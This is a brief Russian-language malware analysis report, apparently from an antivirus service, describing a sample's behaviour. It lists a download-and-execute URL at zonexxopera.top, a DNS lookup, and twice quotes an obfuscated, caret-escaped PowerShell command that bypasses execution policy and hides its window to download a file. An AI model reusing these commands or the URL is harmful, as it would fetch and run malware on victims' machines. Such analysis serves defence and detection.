Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://zonexxopera.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "po^we^rSHel^l^.^e^x^e -^e^XeCU^Ti^oN^p^OLIc^y bY^p^AsS -^NopR^o^FilE ^-w^i^NdOw^S^T^YLE Hi^dDE^N (^n^ew-oBjEcT^ s^YS^t^Em.^N^eT.^WEB^c^l^i^EnT).D^OW^n^LOa^dfi^l^E(^'http://zo...
Сетевая активность
UDP
- DNS ASK zo###xopera.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "po^we^rSHel^l^.^e^x^e -^e^XeCU^Ti^oN^p^OLIc^y bY^p^AsS -^NopR^o^FilE ^-w^i^NdOw^S^T^YLE Hi^dDE^N (^n^ew-oBjEcT^ s^YS^t^Em.^N^eT.^WEB^c^l^i^EnT).D^OW^n^LOa^dfi^l^E(^'http://zo...' (со скрытым окном)
